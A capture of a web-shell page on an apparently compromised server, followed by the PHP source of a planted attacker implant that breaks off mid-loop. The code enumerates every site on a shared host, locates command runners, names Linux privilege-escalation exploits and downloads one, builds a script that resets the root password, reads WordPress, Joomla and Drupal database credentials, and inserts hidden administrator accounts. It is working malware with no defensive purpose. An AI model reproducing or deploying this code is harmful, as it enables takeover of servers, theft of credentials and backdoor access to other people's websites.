403Webshell
Server IP : 194.30.32.123  /  Your IP : 216.73.217.10
Web Server : Apache
System : Linux 4f6650a08421 5.10.0-44-amd64 #1 SMP Debian 5.10.257-1 (2026-05-27) x86_64
User : ftpbegirale ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /expert/htwebs/www.begirale.com/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /expert/htwebs/www.begirale.com/public/1.php
<?php
// language: PHP, file: deploy.php, runtime: PHP 5.6 - 8.x, target: any shared host
// Actions: ping | scan | domains | replicate | put | upload | chunk
//          exploit | dirty | root | htaccess | cms | creds | panel | mail
//
// exploit kind: pwnkit | cups | snapconfine | refluxfs | sudointercept

error_reporting(E_ALL);
@ini_set('display_errors', '0');

register_shutdown_function(function () {
    $e = error_get_last();
    if ($e === null) {
        return;
    }
    $fatal = array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR);
    if (!in_array($e['type'], $fatal, true)) {
        return;
    }
    if (!headers_sent()) {
        header('Content-Type: application/json; charset=utf-8', true, 500);
    } else {
        header('Content-Type: application/json; charset=utf-8');
    }
    echo json_encode(array(
        'ok'    => false,
        'fatal' => $e['message'],
        'file'  => $e['file'],
        'line'  => $e['line'],
        'php'   => PHP_VERSION,
    ));
});

define('UPLOAD_KEY', '123456');
define('MAX_CHUNK', 8388608);
define('READ_LIMIT', 4096);
define('HTACCESS_LIMIT', 16384);
define('SNAPCONFINE_URL',
    'https://codeload.github.com/songzzzz/CVE-2026-8933/tar.gz/refs/heads/main');

header('Content-Type: application/json; charset=utf-8');

/* ---------------------------------------------------------------- helpers */

function jexit($data, $code) {
    http_response_code($code);
    echo json_encode($data);
    exit;
}

function fail($msg, $code) {
    jexit(array('ok' => false, 'error' => $msg), $code);
}

function ok($data) {
    echo json_encode(array_merge(array('ok' => true), $data));
    exit;
}

function emit($data) {
    $flags = 0;
    if (defined('JSON_UNESCAPED_SLASHES')) {
        $flags |= JSON_UNESCAPED_SLASHES;
    }
    echo json_encode(array_merge(array('ok' => true), $data), $flags);
    exit;
}

function req($name, $default) {
    if (isset($_POST[$name])) {
        return (string)$_POST[$name];
    }
    if (isset($_GET[$name])) {
        return (string)$_GET[$name];
    }
    return $default;
}

function req_flag($name) {
    $v = strtolower(req($name, ''));
    return $v !== '' && $v !== '0' && $v !== 'false' && $v !== 'no';
}

function srv($name, $default) {
    return isset($_SERVER[$name]) ? (string)$_SERVER[$name] : $default;
}

function safe_name($raw) {
    $name = basename(str_replace('\\', '/', $raw));
    $name = preg_replace('/[^\w.\-]+/u', '_', $name);
    $name = ltrim((string)$name, '.');
    if ($name === '' || $name === false) {
        fail('invalid filename', 400);
    }
    return $name;
}

function safe_folder($raw) {
    if ($raw === '') {
        return '';
    }
    if (!preg_match('/^[A-Za-z0-9_.\-]+$/', $raw)) {
        fail('invalid folder', 400);
    }
    if ($raw === '.' || $raw === '..') {
        fail('invalid folder', 400);
    }
    return $raw;
}

function store_dir() {
    return dirname(__FILE__);
}

function auth($key) {
    if ($key === '' || !hash_equals(UPLOAD_KEY, $key)) {
        fail('bad key', 403);
    }
}

function current_user() {
    if (function_exists('posix_geteuid') && function_exists('posix_getpwuid')) {
        $u = @posix_getpwuid(posix_geteuid());
        if ($u && isset($u['name'])) {
            return $u['name'];
        }
    }
    return srv('USER', 'unknown');
}

function detect_panel() {
    $markers = array(
        'cPanel'      => '/usr/local/cpanel',
        'CyberPanel'  => '/usr/local/CyberCP',
        'Plesk'       => '/usr/local/psa',
        'DirectAdmin' => '/usr/local/directadmin',
        'ISPConfig'   => '/usr/local/ispconfig',
        'Webmin'      => '/etc/webmin',
        'Virtualmin'  => '/etc/webmin/virtual-server',
        'VestaCP'     => '/usr/local/vesta',
        'HestiaCP'    => '/usr/local/hestia',
        'RunCloud'    => '/etc/runcloud',
        'CloudPanel'  => '/etc/cloudpanel',
        'Ploi'        => '/etc/ploi',
        'ServerPilot' => '/srv/users',
        'aaPanel'     => '/www/server/panel',
        'BT-Panel'    => '/www/server',
        'LiteSpeed'   => '/usr/local/lsws',
        'EasyPanel'   => '/etc/easypanel',
        'Dokploy'     => '/etc/dokploy',
        'Coolify'     => '/data/coolify',
        'CapRover'    => '/captain',
        'Supervisor'  => '/etc/supervisor',
    );
    $hit = array();
    foreach ($markers as $name => $path) {
        if (@is_dir($path)) {
            $hit[] = $name;
        }
    }
    return $hit ? implode(',', $hit) : 'unknown';
}

function guess_domain($path) {
    $parts = explode('/', trim($path, '/'));
    foreach ($parts as $part) {
        if (preg_match('/^([a-z0-9\-]+\.)+[a-z]{2,}$/i', $part)) {
            return strtolower($part);
        }
    }
    $host = srv('HTTP_HOST', srv('SERVER_NAME', ''));
    return strtolower(preg_replace('/:\d+$/', '', $host));
}

function domain_for_root($root) {
    return guess_domain($root);
}

function probe($path) {
    $real = @realpath($path);
    if ($real === false || !@is_dir($real)) {
        return null;
    }
    return array(
        'path'     => $real,
        'domain'   => guess_domain($real),
        'writable' => @is_writable($real) ? 1 : 0,
        'uid'      => @fileowner($real),
    );
}

function read_text($path, $max) {
    if (@is_dir($path) || !@is_readable($path)) {
        return null;
    }
    $fh = @fopen($path, 'rb');
    if (!$fh) {
        return null;
    }
    $data = @fread($fh, $max);
    fclose($fh);
    if ($data === false) {
        return null;
    }
    if (strpos($data, "\0") !== false) {
        return '[binary]';
    }
    return $data;
}

function find_up($dir, $name, $levels) {
    $current = @realpath($dir);
    if ($current === false) {
        return null;
    }
    for ($i = 0; $i <= $levels; $i++) {
        $candidate = $current . DIRECTORY_SEPARATOR . $name;
        if (@is_file($candidate) && @is_readable($candidate)) {
            return $candidate;
        }
        $parent = @dirname($current);
        if ($parent === $current) {
            break;
        }
        $current = $parent;
    }
    return null;
}

function path_under($path, $roots) {
    $real = @realpath($path);
    if ($real === false) {
        return false;
    }
    foreach ($roots as $root) {
        $rootReal = @realpath($root);
        if ($rootReal === false) {
            continue;
        }
        if (strpos($real, rtrim($rootReal, '/\\') . DIRECTORY_SEPARATOR) === 0) {
            return true;
        }
    }
    return false;
}

function walk_files($roots, $depth, $max, $want) {
    $out = array();
    foreach ($roots as $root) {
        $real = @realpath($root);
        if ($real === false || !@is_dir($real) || !@is_readable($real)) {
            continue;
        }
        try {
            $dirIt = new RecursiveDirectoryIterator($real, FilesystemIterator::SKIP_DOTS);
            $iterator = new RecursiveIteratorIterator($dirIt, RecursiveIteratorIterator::SELF_FIRST);
        } catch (Exception $e) {
            continue;
        }
        $iterator->setMaxDepth(max(1, $depth));
        foreach ($iterator as $file) {
            if (count($out) >= $max) {
                break 2;
            }
            if (!$file->isFile()) {
                continue;
            }
            $path = $file->getPathname();
            if (!call_user_func($want, $path)) {
                continue;
            }
            $out[] = $path;
        }
    }
    return $out;
}

function exec_runners() {
    $disabled = array_map('trim', explode(',', strtolower((string)ini_get('disable_functions'))));
    $found = array();
    foreach (array('shell_exec', 'exec', 'system', 'passthru', 'popen', 'proc_open') as $fn) {
        if (function_exists($fn) && !in_array($fn, $disabled, true)) {
            $found[] = $fn;
        }
    }
    return $found;
}

function find_python() {
    $candidates = array(
        '/usr/bin/python3', '/usr/local/bin/python3', '/bin/python3',
        '/usr/bin/python', '/usr/local/bin/python', '/bin/python',
    );
    foreach ($candidates as $path) {
        if (@is_file($path) && @is_executable($path)) {
            return $path;
        }
    }
    return '';
}

function find_compiler() {
    $candidates = array(
        '/usr/bin/gcc', '/usr/bin/cc', '/usr/bin/clang',
        '/usr/local/bin/gcc', '/usr/local/bin/clang', '/bin/gcc',
    );
    foreach ($candidates as $path) {
        if (@is_file($path) && @is_executable($path)) {
            return $path;
        }
    }
    return '';
}

function find_timeout() {
    foreach (array('/usr/bin/timeout', '/bin/timeout') as $path) {
        if (@is_file($path) && @is_executable($path)) {
            return $path;
        }
    }
    return '';
}

function find_curl() {
    foreach (array('/usr/bin/curl', '/usr/local/bin/curl', '/bin/curl') as $path) {
        if (@is_file($path) && @is_executable($path)) {
            return $path;
        }
    }
    return '';
}

function run_shell($command, $runners) {
    $out = '';
    $runner = '';
    if (in_array('shell_exec', $runners, true)) {
        $runner = 'shell_exec';
        $out = (string)@shell_exec($command);
    } elseif (in_array('system', $runners, true)) {
        $runner = 'system';
        ob_start();
        @system($command);
        $out = (string)ob_get_clean();
    } elseif (in_array('passthru', $runners, true)) {
        $runner = 'passthru';
        ob_start();
        @passthru($command);
        $out = (string)ob_get_clean();
    } elseif (in_array('exec', $runners, true)) {
        $runner = 'exec';
        $lines = array();
        @exec($command, $lines);
        $out = implode("\n", $lines);
    } elseif (in_array('popen', $runners, true)) {
        $runner = 'popen';
        $fh = @popen($command, 'r');
        if ($fh) {
            while (!feof($fh)) {
                $out .= (string)fread($fh, 4096);
            }
            pclose($fh);
        }
    } else {
        $runner = 'proc_open';
        $desc = array(1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
        $proc = @proc_open($command, $desc, $pipes);
        if (is_resource($proc)) {
            $out = (string)stream_get_contents($pipes[1]);
            $out .= (string)stream_get_contents($pipes[2]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($proc);
        }
    }
    return array($out, $runner);
}

function root_batch($password, $idfile, $hashfile, $loginfile, $donefile) {
    $id = escapeshellarg($idfile);
    $ha = escapeshellarg($hashfile);
    $lo = escapeshellarg($loginfile);
    $do = escapeshellarg($donefile);
    $q  = escapeshellarg($password);

    $b  = "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n";
    $b .= "umask 022\n";
    $b .= "id -u > {$id} 2>/dev/null\n";
    $b .= "HASH=\$(openssl passwd -6 {$q} 2>/dev/null)\n";
    $b .= "if [ -n \"\$HASH\" ]; then usermod -p \"\$HASH\" root 2>/dev/null;";
    $b .= " else echo " . escapeshellarg('root:' . $password) . " | chpasswd 2>/dev/null; fi\n";
    $b .= "CUR=\$(awk -F: '\$1==\"root\"{print \$2}' /etc/shadow 2>/dev/null)\n";
    $b .= "if [ -n \"\$HASH\" ] && [ \"\$CUR\" = \"\$HASH\" ]; then echo OK > {$ha}; fi\n";
    $b .= "printf '%s\\n' {$q} | script -q -c 'su - root -c \"id -u\"' /dev/null";
    $b .= " 2>/dev/null | tr -d '\\r' | grep -qx 0 && echo OK > {$lo}\n";
    $b .= "echo DONE > {$do}\n";
    return $b;
}

function execveat_source() {
    return '#define _GNU_SOURCE' . "\n"
        . '#include <unistd.h>' . "\n"
        . '#include <fcntl.h>' . "\n"
        . '#include <stdio.h>' . "\n"
        . '#include <sys/syscall.h>' . "\n"
        . 'int main(int argc, char **argv) {' . "\n"
        . '    if (argc < 2) { fprintf(stderr, "usage: x <path>\n"); return 2; }' . "\n"
        . '    char *args[] = { argv[1], NULL };' . "\n"
        . '    syscall(SYS_execveat, AT_FDCWD, argv[1], args, NULL, 0);' . "\n"
        . '    perror("execveat");' . "\n"
        . '    return 127;' . "\n"
        . '}' . "\n";
}

function tmp_base() {
    $tmp = @sys_get_temp_dir();
    if ($tmp === '' || !@is_dir($tmp) || !@is_writable($tmp)) {
        $tmp = store_dir();
    }
    return rtrim($tmp, '/\\');
}

function read_int_file($path) {
    if (!@is_file($path)) {
        return -1;
    }
    return (int)trim((string)@file_get_contents($path));
}

function file_flag($path) {
    return @is_file($path) ? 1 : 0;
}

function ssh_port_open() {
    $host = strtolower(preg_replace('/:\d+$/', '', srv('HTTP_HOST', '')));
    if ($host === '') {
        return 0;
    }
    $fp = @fsockopen($host, 22, $errno, $errstr, 3);
    if ($fp) {
        fclose($fp);
        return 1;
    }
    return 0;
}

function cups_port_open() {
    $fp = @fsockopen('127.0.0.1', 631, $errno, $errstr, 2);
    if ($fp) {
        fclose($fp);
        return 1;
    }
    return 0;
}

function snapconfine_state() {
    $path = '/usr/lib/snapd/snap-confine';
    if (!@is_file($path)) {
        foreach (array('/snap/bin/snap-confine', '/usr/libexec/snapd/snap-confine') as $c) {
            if (@is_file($c)) {
                $path = $c;
                break;
            }
        }
    }
    if (!@is_file($path)) {
        return 0;
    }
    // setuid-root returns 2, file capabilities returns 1
    if ((@fileperms($path) & 04000) === 04000) {
        return 2;
    }
    return 1;
}

function cmp_writable($a, $b) {
    if ($a['writable'] != $b['writable']) {
        return $a['writable'] ? -1 : 1;
    }
    if (isset($a['path']) && isset($b['path'])) {
        return strcmp($a['path'], $b['path']);
    }
    return 0;
}

function cmp_domain($a, $b) {
    if ($a['writable'] != $b['writable']) {
        return $a['writable'] ? -1 : 1;
    }
    return strcmp($a['domain'], $b['domain']);
}

function cmp_newest($a, $b) {
    if ($a['newest'] == $b['newest']) {
        return 0;
    }
    return $a['newest'] > $b['newest'] ? -1 : 1;
}

function cmp_mtime_desc($a, $b) {
    $ma = @filemtime($a);
    $mb = @filemtime($b);
    if ($ma == $mb) {
        return 0;
    }
    return $ma > $mb ? -1 : 1;
}

function gen_uuid() {
    $bytes = function_exists('random_bytes') ? random_bytes(16) : openssl_random_pseudo_bytes(16);
    $bytes[6] = chr((ord($bytes[6]) & 0x0f) | 0x40);
    $bytes[8] = chr((ord($bytes[8]) & 0x3f) | 0x80);
    $hex = bin2hex($bytes);
    return sprintf('%s-%s-%s-%s-%s',
        substr($hex, 0, 8), substr($hex, 8, 4), substr($hex, 12, 4),
        substr($hex, 16, 4), substr($hex, 20, 12));
}

/* ------------------------------------------------------- CMS config parse */

function parse_wp_config($file) {
    $txt = @file_get_contents($file);
    if ($txt === false) {
        return array();
    }
    $cfg = array();
    if (preg_match_all(
        "/define\s*\(\s*['\"]([A-Za-z_][A-Za-z0-9_]*)['\"]\s*,\s*['\"](.*?)['\"]\s*\)/s",
        $txt, $m, PREG_SET_ORDER
    )) {
        foreach ($m as $row) {
            $cfg[$row[1]] = $row[2];
        }
    }
    if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]+)[\'"]/', $txt, $tm)) {
        $cfg['table_prefix'] = $tm[1];
    }
    return $cfg;
}

function parse_joomla_config($file) {
    $txt = @file_get_contents($file);
    if ($txt === false) {
        return array();
    }
    $cfg = array();
    if (preg_match_all(
        '/public\s+\$(\w+)\s*=\s*\'((?:[^\'\\\\]|\\\\.)*)\'\s*;/',
        $txt, $m, PREG_SET_ORDER
    )) {
        foreach ($m as $row) {
            $cfg[$row[1]] = stripcslashes($row[2]);
        }
    }
    return $cfg;
}

function parse_drupal_settings($file) {
    $txt = @file_get_contents($file);
    if ($txt === false) {
        return array();
    }
    $cfg = array();
    $keys = array('database', 'username', 'password', 'host', 'port', 'prefix', 'driver');
    foreach ($keys as $k) {
        if (preg_match("/'" . $k . "'\s*=>\s*'([^']*)'/", $txt, $m)) {
            $cfg[$k] = $m[1];
        }
    }
    return $cfg;
}

function cms_db($host, $user, $pass, $name) {
    if (!class_exists('mysqli')) {
        fail('mysqli extension not available', 500);
    }
    if ($host === '' || $user === '') {
        fail('incomplete database configuration', 400);
    }
    $db = @new mysqli($host, $user, $pass, $name);
    if ($db->connect_errno) {
        fail('db connect failed: ' . $db->connect_error, 500);
    }
    @$db->set_charset('utf8mb4');
    return $db;
}

/* --------------------------------------------------------- WP operations */

function wp_list_users($db, $prefix) {
    $rows = array();
    $res = @$db->query("SELECT ID, user_login, user_email, user_registered FROM {$prefix}users ORDER BY ID");
    if ($res) {
        while ($row = $res->fetch_assoc()) {
            $rows[] = $row;
        }
        $res->free();
    }
    return $rows;
}

function wp_set_password($db, $prefix, $login, $password) {
    $hash = md5($password);
    $sql  = "UPDATE {$prefix}users SET user_pass = ? WHERE user_login = ?";
    $stmt = @$db->prepare($sql);
    if (!$stmt) {
        return false;
    }
    $stmt->bind_param('ss', $hash, $login);
    $done = $stmt->execute();
    $stmt->close();
    return (bool)$done;
}

function wp_add_admin($db, $prefix, $login, $password, $email) {
    $check = @$db->prepare("SELECT ID FROM {$prefix}users WHERE user_login = ?");
    if ($check) {
        $check->bind_param('s', $login);
        $check->execute();
        $check->store_result();
        $exists = $check->num_rows > 0;
        $check->close();
        if ($exists) {
            return array('ok' => false, 'error' => 'user already exists');
        }
    }

    $hash = md5($password);
    $sql  = "INSERT INTO {$prefix}users
             (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name)
             VALUES (?, ?, ?, ?, '', NOW(), 0, ?)";
    $stmt = @$db->prepare($sql);
    if (!$stmt) {
        return array('ok' => false, 'error' => $db->error);
    }
    $stmt->bind_param('sssss', $login, $hash, $login, $email, $login);
    if (!$stmt->execute()) {
        $err = $stmt->error;
        $stmt->close();
        return array('ok' => false, 'error' => $err);
    }
    $uid = $stmt->insert_id;
    $stmt->close();

    $meta = array(
        array($prefix . 'capabilities', 'a:1:{s:13:"administrator";s:1:"1";}'),
        array($prefix . 'user_level', '10'),
        array($prefix . 'nickname', $login),
    );
    $ins = @$db->prepare("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
    if ($ins) {
        foreach ($meta as $pair) {
            $ins->bind_param('iss', $uid, $pair[0], $pair[1]);
            $ins->execute();
        }
        $ins->close();
    }
    return array('ok' => true, 'user_id' => $uid, 'user_login' => $login);
}

/* ------------------------------------------------------- Joomla operations */

function joomla_list_users($db, $prefix) {
    $rows = array();
    $res = @$db->query("SELECT id, name, username, email, block FROM {$prefix}users ORDER BY id");
    if ($res) {
        while ($row = $res->fetch_assoc()) {
            $rows[] = $row;
        }
        $res->free();
    }
    return $rows;
}

function joomla_set_password($db, $prefix, $login, $password) {
    $hash = password_hash($password, PASSWORD_BCRYPT);
    $sql  = "UPDATE {$prefix}users SET password = ? WHERE username = ?";
    $stmt = @$db->prepare($sql);
    if (!$stmt) {
        return false;
    }
    $stmt->bind_param('ss', $hash, $login);
    $done = $stmt->execute();
    $stmt->close();
    return (bool)$done;
}

function joomla_add_admin($db, $prefix, $login, $password, $email) {
    $check = @$db->prepare("SELECT id FROM {$prefix}users WHERE username = ?");
    if ($check) {
        $check->bind_param('s', $login);
        $check->execute();
        $check->store_result();
        $exists = $check->num_rows > 0;
        $check->close();
        if ($exists) {
            return array('ok' => false, 'error' => 'user already exists');
        }
    }

    $hash = password_hash($password, PASSWORD_BCRYPT);
    $sql  = "INSERT INTO {$prefix}users
             (name, username, email, password, block, sendEmail, registerDate, lastvisitDate, activation, params)
             VALUES (?, ?, ?, ?, 0, 0, NOW(), NOW(), '', '{}')";
    $stmt = @$db->prepare($sql);
    if (!$stmt) {
        return array('ok' => false, 'error' => $db->error);
    }
    $stmt->bind_param('ssss', $login, $login, $email, $hash);
    if (!$stmt->execute()) {
        $err = $stmt->error;
        $stmt->close();
        return array('ok' => false, 'error' => $err);
    }
    $uid = $stmt->insert_id;
    $stmt->close();

    $map = @$db->prepare("INSERT INTO {$prefix}user_usergroup_map (user_id, group_id) VALUES (?, 8)");
    if ($map) {
        $map->bind_param('i', $uid);
        $map->execute();
        $map->close();
    }
    return array('ok' => true, 'user_id' => $uid, 'username' => $login);
}

/* ------------------------------------------------------- Drupal operations */

function drupal_set_password($db, $prefix, $login, $password) {
    $hash = password_hash($password, PASSWORD_BCRYPT);
    $sql  = "UPDATE {$prefix}users_field_data SET pass = ? WHERE name = ?";
    $stmt = @$db->prepare($sql);
    if (!$stmt) {
        return array('ok' => false, 'error' => $db->error);
    }
    $stmt->bind_param('ss', $hash, $login);
    $done = $stmt->execute();
    $rows = $stmt->affected_rows;
    $stmt->close();
    return array('ok' => (bool)$done, 'affected' => $rows, 'note' => 'Drupal 8+ only');
}

function drupal_add_admin($db, $prefix, $login, $password, $email) {
    $hash = password_hash($password, PASSWORD_BCRYPT);

    $legacy = false;
    $res = @$db->query("SHOW COLUMNS FROM {$prefix}users LIKE 'name'");
    if ($res && $res->num_rows > 0) {
        $legacy = true;
        $res->free();
    }

    if ($legacy) {
        $check = @$db->prepare("SELECT uid FROM {$prefix}users WHERE name = ?");
        if ($check) {
            $check->bind_param('s', $login);
            $check->execute();
            $check->store_result();
            $exists = $check->num_rows > 0;
            $check->close();
            if ($exists) {
                return array('ok' => false, 'error' => 'user already exists');
            }
        }
        $stmt = @$db->prepare(
            "INSERT INTO {$prefix}users (name, pass, mail, created, status)
             VALUES (?, ?, ?, UNIX_TIMESTAMP(), 1)"
        );
        if (!$stmt) {
            return array('ok' => false, 'error' => $db->error);
        }
        $stmt->bind_param('sss', $login, $hash, $email);
        if (!$stmt->execute()) {
            $err = $stmt->error;
            $stmt->close();
            return array('ok' => false, 'error' => $err);
        }
        $uid = $stmt->insert_id;
        $stmt->close();
        @$db->query("INSERT INTO {$prefix}users_roles (uid, rid) VALUES (" . (int)$uid . ", 3)");
        return array('ok' => true, 'uid' => $uid, 'name' => $login, 'layout' => 'drupal7');
    }

    $check = @$db->prepare("SELECT uid FROM {$prefix}users_field_data WHERE name = ?");
    if ($check) {
        $check->bind_param('s', $login);
        $check->execute();
        $check->store_result();
        $exists = $check->num_rows > 0;
        $check->close();
        if ($exists) {
            return array('ok' => false, 'error' => 'user already exists');
        }
    }

    $uuid = gen_uuid();
    $stmt = @$db->prepare("INSERT INTO {$prefix}users (uuid, langcode) VALUES (?, 'en')");
    if (!$stmt) {
        return array('ok' => false, 'error' => $db->error);
    }
    $stmt->bind_param('s', $uuid);
    if (!$stmt->execute()) {
        $err = $stmt->error;
        $stmt->close();
        return array('ok' => false, 'error' => $err);
    }
    $uid = $stmt->insert_id;
    $stmt->close();

    $now = time();
    $stmt = @$db->prepare(
        "INSERT INTO {$prefix}users_field_data
         (uid, langcode, name, pass, mail, timezone, status, created, changed, access, login, init, default_langcode)
         VALUES (?, 'en', ?, ?, ?, '', 1, ?, ?, 0, 0, ?, 1)"
    );
    if (!$stmt) {
        return array('ok' => false, 'error' => $db->error);
    }
    $stmt->bind_param('isssiis', $uid, $login, $hash, $email, $now, $now, $email);
    if (!$stmt->execute()) {
        $err = $stmt->error;
        $stmt->close();
        return array('ok' => false, 'error' => $err);
    }
    $stmt->close();

    $map = @$db->prepare("INSERT INTO {$prefix}users_roles (uid, role_id) VALUES (?, 'administrator')");
    if ($map) {
        $map->bind_param('i', $uid);
        $map->execute();
        $map->close();
    }
    return array('ok' => true, 'uid' => $uid, 'name' => $login, 'layout' => 'drupal8');
}

/* ------------------------------------------------------------ root sweep */

function parse_vhost_configs() {
    $roots = array();
    $globs = array(
        '/etc/apache2/sites-enabled/*.conf',
        '/etc/apache2/sites-available/*.conf',
        '/etc/httpd/conf.d/*.conf',
        '/etc/httpd/sites-enabled/*.conf',
        '/usr/local/apache/conf/httpd.conf',
        '/usr/local/apache/conf/extra/httpd-vhosts.conf',
        '/usr/local/apache2/conf/httpd.conf',
        '/usr/local/apache2/conf/extra/httpd-vhosts.conf',
        '/etc/nginx/sites-enabled/*',
        '/etc/nginx/conf.d/*.conf',
        '/usr/local/nginx/conf/vhost/*.conf',
        '/usr/local/nginx/conf/nginx.conf',
        '/usr/local/lsws/conf/httpd_config.conf',
        '/usr/local/lsws/conf/vhosts/*/vhconf.conf',
        '/etc/lighttpd/lighttpd.conf',
        '/etc/caddy/Caddyfile',
        '/usr/local/directadmin/data/users/*/httpd.conf',
        '/etc/apache2/plesk.conf.d/vhosts/*.conf',
    );
    foreach ($globs as $g) {
        $files = @glob($g);
        if (!$files) {
            continue;
        }
        foreach ($files as $file) {
            if (!@is_readable($file)) {
                continue;
            }
            $txt = @file_get_contents($file, false, null, 0, 2000000);
            if ($txt === false) {
                continue;
            }
            if (preg_match_all('/DocumentRoot\s+"?([^"\s;]+)"?/i', $txt, $m)) {
                foreach ($m[1] as $p) {
                    $roots[] = $p;
                }
            }
            if (preg_match_all('/^\s*root\s+([^;\s]+)\s*;/mi', $txt, $m)) {
                foreach ($m[1] as $p) {
                    $roots[] = $p;
                }
            }
            if (preg_match_all('/vhRoot\s+"?([^"\s]+)"?/i', $txt, $m)) {
                foreach ($m[1] as $p) {
                    $roots[] = $p;
                }
            }
            if (preg_match_all('#/var/www/[^"\s;]+/web#', $txt, $m)) {
                foreach ($m[0] as $p) {
                    $roots[] = $p;
                }
            }
            if (preg_match_all('#/home/[^"\s;]+/(?:public_html|htdocs|httpdocs|www)#', $txt, $m)) {
                foreach ($m[0] as $p) {
                    $roots[] = $p;
                }
            }
            if (preg_match_all('#/www/wwwroot/[^"\s;]+#', $txt, $m)) {
                foreach ($m[0] as $p) {
                    $roots[] = $p;
                }
            }
        }
    }
    return $roots;
}

function scan_known_paths() {
    $roots = array();
    $suffixes = array('public_html', 'httpdocs', 'htdocs', 'www', 'web', 'public', 'html');

    $homes = @glob('/home/*', GLOB_ONLYDIR);
    if (!$homes) {
        $homes = array();
    }
    $home_env = srv('HOME', '');
    if ($home_env !== '') {
        $homes[] = $home_env;
    }

    foreach ($homes as $home) {
        if ($home === '' || !@is_dir($home)) {
            continue;
        }
        foreach ($suffixes as $suffix) {
            if (@is_dir($home . '/' . $suffix)) {
                $roots[] = $home . '/' . $suffix;
            }
        }
        $addons = @glob($home . '/public_html/*', GLOB_ONLYDIR);
        if ($addons) {
            foreach ($addons as $dir) {
                if (preg_match('/^[\w.\-]+\.[a-z]{2,}$/i', basename($dir))) {
                    $roots[] = $dir;
                }
            }
        }
        $children = @glob($home . '/*', GLOB_ONLYDIR);
        if ($children) {
            foreach ($children as $dir) {
                $base = basename($dir);
                if ($base === '' || $base[0] === '.') {
                    continue;
                }
                if (!preg_match('/^[\w.\-]+\.[a-z]{2,}$/i', $base)) {
                    continue;
                }
                foreach ($suffixes as $suffix) {
                    if (@is_dir($dir . '/' . $suffix)) {
                        $roots[] = $dir . '/' . $suffix;
                    }
                }
            }
        }
        $da = @glob($home . '/domains/*/public_html', GLOB_ONLYDIR);
        if ($da) {
            foreach ($da as $dir) {
                $roots[] = $dir;
            }
        }
    }

    $server_globs = array(
        '/home/*/public_html',
        '/home/*/public_html/*',
        '/home/*/*/public_html',
        '/home/*/domains/*/public_html',
        '/home/*/httpdocs',
        '/home/*/htdocs',
        '/home/*/web/*/public_html',
        '/home/*/htdocs/*',
        '/home/*/webapps/*/public',
        '/home/*/apps/*/public',
        '/home/ploi/*/public',
        '/srv/users/*/apps/*/public',
        '/srv/www/*/public_html',
        '/srv/www/*',
        '/var/www/vhosts/*/httpdocs',
        '/var/www/vhosts/*/public_html',
        '/var/www/*/web',
        '/var/www/clients/client*/web*/web',
        '/var/www/*/htdocs',
        '/var/www/*/public_html',
        '/var/www/sites/*',
        '/var/www/html/*',
        '/var/www/html',
        '/var/www/nginx-default/*',
        '/var/www/*',
        '/www/wwwroot/*',
        '/www/wwwroot',
        '/usr/local/lsws/*/html',
        '/usr/local/lsws/Example/html',
        '/usr/share/nginx/html/*',
        '/usr/local/apache2/htdocs/*',
        '/opt/lampp/htdocs/*',
        '/opt/lampp/htdocs',
        '/xampp/htdocs/*',
        '/data/www/*',
        '/data/coolify/applications/*',
        '/etc/dokploy/applications/*',
        '/etc/easypanel/projects/*',
        '/captain/data/*',
    );
    foreach ($server_globs as $g) {
        $dirs = @glob($g, GLOB_ONLYDIR);
        if ($dirs) {
            foreach ($dirs as $dir) {
                $roots[] = $dir;
            }
        }
    }

    return $roots;
}

/* -------------------------------------------------------------------- auth */

$key = req('key', '');
auth($key);

if (!is_dir(store_dir()) || !is_writable(store_dir())) {
    fail('target dir not writable', 500);
}

$action = req('action', 'ping');

switch ($action) {

    case 'ping':
        ok(array(
            'dir'       => store_dir(),
            'writable'  => is_writable(store_dir()) ? 1 : 0,
            'user'      => current_user(),
            'php'       => PHP_VERSION,
            'uploads'   => (bool)ini_get('file_uploads'),
            'limit'     => ini_get('upload_max_filesize'),
            'panel'     => detect_panel(),
            'runners'   => exec_runners(),
            'python'    => find_python(),
            'compiler'  => find_compiler(),
            'timeout'   => find_timeout(),
            'curl'      => find_curl(),
            'pkexec'    => @is_file('/usr/bin/pkexec') ? 1 : 0,
            'ssh'       => ssh_port_open(),
            'cups'      => cups_port_open(),
            'snapconfine' => snapconfine_state(),
            'openssl'   => @is_file('/usr/bin/openssl') ? 1 : 0,
            'script'    => @is_file('/usr/bin/script') ? 1 : 0,
        ));
        break;

    case 'scan':
        $found = array();
        $seen  = array();
        $candidates = array_merge(
            array(store_dir()),
            array(srv('DOCUMENT_ROOT', '')),
            scan_known_paths(),
            parse_vhost_configs()
        );
        foreach ($candidates as $candidate) {
            if ($candidate === '') {
                continue;
            }
            $info = probe($candidate);
            if ($info === null || isset($seen[$info['path']])) {
                continue;
            }
            $seen[$info['path']] = true;
            $found[] = $info;
        }
        usort($found, 'cmp_writable');
        ok(array(
            'user'    => current_user(),
            'cwd'     => store_dir(),
            'docroot' => srv('DOCUMENT_ROOT', ''),
            'host'    => srv('HTTP_HOST', ''),
            'panel'   => detect_panel(),
            'roots'   => $found,
        ));
        break;

    case 'domains':
        $panel = detect_panel();
        $found = array();
        $seen  = array();

        $maps = array(
            '/etc/userdomains',
            '/etc/trueuserdomains',
            '/usr/local/directadmin/data/users/*/domains.list',
            '/etc/virtual/domains',
            '/usr/local/vesta/data/users/*/web.conf',
            '/usr/local/hestia/data/users/*/web.conf',
            '/etc/apache2/plesk.conf.d/vhosts/*.conf',
        );
        foreach ($maps as $pattern) {
            $files = @glob($pattern);
            if (!$files) {
                continue;
            }
            foreach ($files as $file) {
                if (!@is_readable($file)) {
                    continue;
                }
                $txt = @file_get_contents($file, false, null, 0, 1000000);
                if ($txt === false) {
                    continue;
                }
                $lines = preg_split('/\r?\n/', $txt);
                foreach ($lines as $line) {
                    $line = trim($line);
